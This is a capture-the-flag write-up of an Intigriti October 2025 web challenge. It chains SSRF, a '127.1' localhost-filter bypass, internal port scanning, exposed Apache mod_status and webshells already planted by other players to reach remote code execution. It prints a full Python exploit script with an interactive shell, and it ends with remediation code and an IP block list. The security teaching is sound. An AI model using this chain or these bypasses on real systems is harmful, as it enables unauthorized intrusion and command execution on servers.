# Intigriti October 2025 Challenge - Unintended SSRF to RCE Solution
---
> **Author:** @MrM3ARS - https://x.com/MrM3ARS
> **Challenge:** Intigriti October 2025 Challenge by chux
> **Date:** October 10, 2025
> **URL:** https://challenge-1025.intigriti.io/
> **Flag:** `INTIGRITI{REDACTED}` (Will be published after challenge ends on Oct 13 2025)
> **Solution Type:** Unintended (Alternative exploitation path)
---
## TL;DR
Discovered an unintended exploitation chain leveraging **SSRF vulnerability** with **localhost bypass**, **Apache mod_status information disclosure**, and **existing webshell abuse** to achieve **Remote Code Execution** and extract the flag. No file upload or direct webshell creation was needed.
**Vulnerability Chain:**
```
SSRF → Localhost Bypass (127.1) → Internal Port Scan →
mod_status Discovery → Webshell Enumeration → RCE → Flag
```
---
## Initial Reconnaissance
### Challenge Overview
The challenge presented a simple web application called **"Shoppix Fashion Importer"** with a single input field accepting image URLs.
**Initial observations:**
- Application fetches external URLs
- Backend processes the URL and displays content
- Potential for Server-Side Request Forgery (SSRF)
### First Test - SSRF Confirmation
```http
GET /challenge.php?url=http://burpcollaborator.net HTTP/1.1
Host: challenge-1025.intigriti.io
```
**Result:** Received DNS and HTTP callbacks
- Confirms: Backend makes outbound requests
- Backend likely uses **cURL** (based on error messages)
---
## The Localhost Roadblock
Attempted to access internal services:
```http
GET /challenge.php?url=http://localhost:6379/ HTTP/1.1
```
**Response:**
```
Invalid URL: access to localhost is not allowed
```
❌ Direct localhost access blocked
❌ `127.0.0.1` also blocked
**Challenge:** Need to bypass localhost restrictions
---
## Breakthrough - Localhost Bypass Discovery
### The Magic: `127.1`
Tested alternative localhost representations:
| Payload | Result |
|---------|--------|
| `http://localhost` | ❌ Blocked |
| `http://127.0.0.1` | ❌ Blocked |
| `http://0.0.0.0` | ❌ Blocked |
| `http://127.1` | ✅ **WORKS!** |
**Why it works:**
- `127.1` is a valid IPv4 shorthand
- Normalized to `127.0.0.1` by networking stack
- Bypasses string-based localhost filter
- Backend accepts it as external URL
```python
# Successful bypass
url = "http://127.1:80/"
```
---
## Internal Network Enumeration
### Port Scanning via SSRF
```python
import requests
target = "https://challenge-1025.intigriti.io/challenge.php"
ports = [80, 8080, 6379, 9000, 11211, 3306]
for port in ports:
r = requests.get(target, params={"url": f"http://127.1:{port}/"})
if "error" not in r.text:
print(f"[+] Port {port} OPEN")
else:
print(f"[-] Port {port} CLOSED")
```
**Results:**
```
[+] Port 80 OPEN
[+] Port 8080 OPEN
[-] Port 6379 CLOSED
[-] Port 9000 CLOSED
[-] Port 11211 CLOSED
```

**Key finding:** Ports 80 and 8080 return **different response sizes** = actual web services running
---
## Apache mod_status - The Gold Mine
### Accessing Server Status
```http
GET /challenge.php?url=http://127.1:80/server-status HTTP/1.1
```
**Jackpot!** Apache `mod_status` endpoint exposed internally (75KB response)
### What mod_status Revealed:
```markdown
html<tr><td><b>0-0</b></td><td>1318</td><td>0/3793/16369</td><td><b>W</b>
</td><td>2.01</td><td>8493</td><td>0</td><td>214422</td><td>0.0</td><td>3.71</td><td>26.16
</td><td>10.14.7.9</td><td>http/1.1</td><td nowrap>10.14.1.12:8080</td>
<td nowrap>GET /uploads/cmtest.jpg.php?cmd=cat HTTP/1.1</td></tr>
<tr><td><b>1-0</b></td><td>1386</td><td>25/1459/16286</td><td><b>W</b>
</td><td>1.95</td><td>8374</td><td>0</td><td>151108</td><td>72.3</td><td>3.50</td><td>28.19
</td><td>10.14.7.9</td><td>http/1.1</td><td nowrap>10.14.1.12:8080</td>
<td nowrap>GET /uploads/web-shell-aw.jpg.php HTTP/1.1</td></tr>
**Key Findings:**
- Apache mod_status is publicly accessible internally
- Reveals active webshells: /uploads/cmtest.jpg.php, /uploads/web-shell-aw.jpg.php
- Exposes internal network topology (10.14.x.x)
- Shows command execution attempts (?cmd=cat)
```
**Critical Discovery:**
- ✅ Multiple **webshells already uploaded** by other users
- ✅ Active requests showing command execution (`?cmd=cat`)
- ✅ Internal network topology exposed (10.14.x.x)
- ✅ Server version: Apache/2.4.65 + PHP/8.1.33
**Key insight:** No need to upload a webshell when they already exist on the system.
---
## Exploitation - SSRF Chain to RCE
### The Attack Chain
```
External Request → SSRF → 127.1 Bypass →
Internal Web Server (port 8080) → Existing Webshell → RCE
```
### Webshell Access via SSRF
```python
import requests
import urllib.parse
import re
target = "https://challenge-1025.intigriti.io/challenge.php"
shell_url = "http://127.1:8080/uploads/cmtest.jpg.php"
def execute_command(cmd):
payload_url = f"{shell_url}?cmd={urllib.parse.quote(cmd)}"
r = requests.get(target, params={"url": payload_url}, timeout=15)
if "Fetched content:" in r.text:
content = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
if content:
return content.group(1).replace("GIF89a", "").strip()
return ""
print(execute_command("id"))
```
**Output:**
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
**Remote Code Execution Achieved!**
---
## Flag Hunting
### System Enumeration
```python
# List root directory
execute_command("ls -la /")
```
**Output:**
```
-rw-r--r-- 1 root root 35 Oct 10 03:27 93e892fe-c0af-44a1-9308-5a58548abd98.txt
drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot
drwxr-xr-x 5 root root 360 Oct 10 03:28 dev
...
```
**Suspicious file found:** `93e892fe-c0af-44a1-9308-5a58548abd98.txt` (35 bytes = flag size!)
### Flag Extraction
```python
# Read flag file
execute_command("cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt")
```
**Result:**
```
**Flag:** `INTIGRITI{REDACTED}`
```
**FLAG CAPTURED!**

---
## Complete Exploit Code
```python
"""
Intigriti October 2025 Challenge - SSRF to RCE Exploit
Author: MrM3ARS - https://x.com/MrM3ARS
Date: October 10, 2025
CVSS: 10.0 (Critical)
"""
import requests
import urllib.parse
import re
import sys
TARGET = "https://challenge-1025.intigriti.io/challenge.php"
INTERNAL_SHELL = "http://127.1:8080/uploads/cmtest.jpg.php"
def execute_command(cmd):
payload_url = f"{INTERNAL_SHELL}?cmd={urllib.parse.quote(cmd)}"
try:
response = requests.get(
TARGET,
params={"url": payload_url},
timeout=15
)
if "Fetched content:" in response.text:
match = re.search(r'<pre>(.*?)</pre>', response.text, re.DOTALL)
if match:
return match.group(1).replace("GIF89a", "").strip()
except Exception as e:
return f"Error: {e}"
return "No output"
def exploit():
print("="*70)
print("Intigriti October 2025 Challenge - SSRF to RCE Exploit")
print("CVSS: 10.0 (Critical)")
print("="*70)
print("\n[*] Step 1: Verifying Remote Code Execution...")
result = execute_command("id")
if "uid=" in result:
print(f"[+] RCE Confirmed!")
print(f" {result}")
else:
print("[-] RCE verification failed")
sys.exit(1)
print("\n[*] Step 2: Enumerating system...")
enum_commands = {
"Hostname": "hostname",
"Kernel": "uname -r",
"User": "whoami",
"Working Directory": "pwd",
}
for name, cmd in enum_commands.items():
result = execute_command(cmd)
print(f" {name}: {result}")
print("\n[*] Step 3: Searching for flag...")
result = execute_command("ls -la /")
print(" Files in root directory:")
for line in result.split('\n')[:10]:
if line.strip():
print(f" {line}")
print("\n[*] Step 4: Extracting flag...")
flag_result = execute_command("cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt")
flag_match = re.search(r'INTIGRITI\{[^}]+\}', flag_result)
if flag_match:
flag = flag_match.group(0)
print(f"\n{'='*70}")
print(f"[+++] FLAG FOUND: {flag}")
print(f"{'='*70}")
return flag
else:
print("[-] Flag not found")
return None
def interactive_shell():
print("\n[*] Starting interactive shell (type 'exit' to quit)")
print("[*] Commands are executed via SSRF chain\n")
while True:
try:
cmd = input("shell> ")
if cmd.lower() in ['exit', 'quit']:
break
if not cmd.strip():
continue
result = execute_command(cmd)
print(result)
except KeyboardInterrupt:
print("\n[*] Exiting...")
break
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
flag = exploit()
```
**Usage:**
```bash
python3 exploit.py
```
---
## Key Learnings & Takeaways
### Why This Solution is "Unintended"
The challenge likely intended for players to:
1. Find SSRF vulnerability
2. Exploit internal service (Redis/Memcached/PHP-FPM)
3. Write their own webshell
4. Execute commands
**My approach instead:**
1. Found SSRF ✓
2. Bypassed localhost filter with `127.1` trick ✓
3. Discovered Apache mod_status information disclosure ✓
4. **Leveraged existing webshells** (no upload needed) ✓
5. Achieved RCE via SSRF chain ✓
### Security Lessons
1. **SSRF Prevention:**
- String-based filtering is insufficient
- Must validate resolved IP addresses
- Block entire private IP ranges (RFC 1918)
- Consider DNS rebinding attacks
2. **Information Disclosure:**
- `mod_status` should NEVER be publicly accessible
- Even internal exposure is dangerous
- Contains sensitive information about requests and topology
3. **Defense in Depth:**
- Multiple security layers needed
- One vulnerability (SSRF) → Full compromise
- Network segmentation crucial
4. **File Upload Security:**
- Never trust file extensions
- Disable PHP execution in upload directories
- Store uploads outside web root
### Attack Surface Analysis
```
┌─────────────────────────────────────────────────┐
│ External Attack Surface │
├─────────────────────────────────────────────────┤
│ • SSRF in challenge.php (url parameter) │
│ • Weak localhost filter (127.1 bypass) │
│ │
│ Internal Attack Surface │
├─────────────────────────────────────────────────┤
│ • Apache mod_status enabled (port 80/8080) │
│ • Existing webshells in /uploads/ │
│ • PHP execution enabled in uploads directory │
│ • No network segmentation │
└─────────────────────────────────────────────────┘
```
---
## Remediation Guidelines
### Immediate Fixes
**1. Fix SSRF Vulnerability:**
```php
function validateURL($url) {
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['host'])) {
return false;
}
// Resolve to IP
$ip = gethostbyname($parsed['host']);
// Block private ranges
$blocked_ranges = [
'127.0.0.0/8', // Loopback
'10.0.0.0/8', // Private
'172.16.0.0/12', // Private
'192.168.0.0/16', // Private
'169.254.0.0/16', // Link-local
'::1/128', // IPv6 loopback
'fc00::/7', // IPv6 private
];
foreach ($blocked_ranges as $range) {
if (ipInRange($ip, $range)) {
return false;
}
}
// Use allowlist instead
$allowed = ['trusted-domain.com'];
return in_array($parsed['host'], $allowed);
}
```
**2. Disable mod_status:**
```apache
<Location "/server-status">
SetHandler None
Require all denied
</Location>
```
**3. Secure Upload Directory:**
```apache
<Directory "/var/www/html/uploads">
# Disable PHP execution
php_flag engine off
# Force download
ForceType application/octet-stream
Header set Content-Disposition attachment
# Deny all scripts
<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$">
Require all denied
</FilesMatch>
</Directory>
```
**4. Clean Existing Webshells:**
```bash
# Find and remove malicious files
find /var/www/html/uploads -name "*.php" -delete
# Set proper permissions
chmod 755 /var/www/html/uploads
```
### Long-term Security
- Implement **Web Application Firewall (WAF)**
- Enable **comprehensive logging and monitoring**
- Regular **security audits and penetration testing**
- **Network segmentation** between web and internal services
- Use **least privilege principle** for service accounts
- Implement **Content Security Policy (CSP)**
---
## Attack Timeline
| Time | Action |
|------|--------|
| 13:27 | SSRF discovered with Burp Collaborator |
| 13:28 | Localhost filter bypass found (127.1) |
| 13:30 | Internal port scan completed |
| 13:35 | Apache mod_status discovered |
| 13:40 | Existing webshells identified |
| 13:45 | RCE achieved via SSRF chain |
| 13:50 | Flag extracted |
**Total time:** ~23 minutes
---
## Why This Is a Great "Unintended" Solution
### Creative Problem Solving
- Avoided intended exploitation path
- Found alternative vulnerability chain
- Leveraged information disclosure creatively
### Real-World Applicability
- This approach mimics actual penetration testing
- Demonstrates thorough enumeration
- Shows importance of information gathering
### Educational Value
- Multiple vulnerability types combined
- Shows impact of information disclosure
- Demonstrates defense-in-depth importance
---
## References & Resources
- **Challenge URL:** https://challenge-1025.intigriti.io
- **CWE-918:** Server-Side Request Forgery (SSRF)
- **OWASP:** SSRF Prevention Cheat Sheet
- **Apache:** mod_status Documentation
- **RFC 1918:** Private Address Space
---
## Acknowledgments
- **Intigriti** for hosting amazing challenges
- **Challenge Creator** for the creative scenario
- **Security Community** for knowledge sharing
---
## Conclusion
This challenge demonstrated how **multiple seemingly minor vulnerabilities** can chain together for **critical impact**. The unintended solution path shows that:
1. **Information disclosure** (mod_status) is not just "informational"
2. **Localhost filters** must validate resolved IPs, not just strings
3. **Defense in depth** is crucial - one vulnerability led to full compromise
4. **Thorough enumeration** reveals alternative attack paths
The key lesson: **Always enumerate thoroughly. The intended path isn't always the only path.**
---
**Happy Hacking!**
*If you found this write-up helpful, consider following me for more security research and CTF solutions!*
*Disclaimer: This write-up is for educational purposes only. Always obtain proper authorization before testing security on any system.*
---